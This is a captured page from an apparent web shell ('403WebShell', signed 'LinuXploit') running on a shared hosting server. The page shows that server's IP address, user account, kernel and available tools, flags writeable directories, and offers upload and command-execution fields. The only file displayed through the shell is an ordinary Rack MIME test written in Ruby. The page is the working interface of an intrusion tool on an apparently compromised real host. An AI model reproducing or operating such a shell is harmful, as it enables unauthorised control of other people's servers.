Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.224.51.153
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/ruby23/lib64/ruby/gems/2.3.0/gems/rack-1.6.4/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/ruby23/lib64/ruby/gems/2.3.0/gems/rack-1.6.4/test/spec_mime.rb
require 'rack/mime'

describe Rack::Mime do

  it "should return the fallback mime-type for files with no extension" do
    fallback = 'image/jpg'
    Rack::Mime.mime_type(File.extname('no_ext'), fallback).should.equal fallback
  end

  it "should always return 'application/octet-stream' for unknown file extensions" do
    unknown_ext = File.extname('unknown_ext.abcdefg')
    Rack::Mime.mime_type(unknown_ext).should.equal 'application/octet-stream'
  end

  it "should return the mime-type for a given extension" do
    # sanity check. it would be infeasible test every single mime-type.
    Rack::Mime.mime_type(File.extname('image.jpg')).should.equal 'image/jpeg'
  end

  it "should support null fallbacks" do
    Rack::Mime.mime_type('.nothing', nil).should.equal nil
  end

  it "should match exact mimes" do
    Rack::Mime.match?('text/html', 'text/html').should.equal true
    Rack::Mime.match?('text/html', 'text/meme').should.equal false
    Rack::Mime.match?('text', 'text').should.equal true
    Rack::Mime.match?('text', 'binary').should.equal false
  end

  it "should match class wildcard mimes" do
    Rack::Mime.match?('text/html', 'text/*').should.equal true
    Rack::Mime.match?('text/plain', 'text/*').should.equal true
    Rack::Mime.match?('application/json', 'text/*').should.equal false
    Rack::Mime.match?('text/html', 'text').should.equal true
  end

  it "should match full wildcards" do
    Rack::Mime.match?('text/html', '*').should.equal true
    Rack::Mime.match?('text/plain', '*').should.equal true
    Rack::Mime.match?('text/html', '*/*').should.equal true
    Rack::Mime.match?('text/plain', '*/*').should.equal true
  end

  it "should match type wildcard mimes" do
    Rack::Mime.match?('text/html', '*/html').should.equal true
    Rack::Mime.match?('text/plain', '*/plain').should.equal true
  end

end


Youez - 2016 - github.com/yon3zu
LinuXploit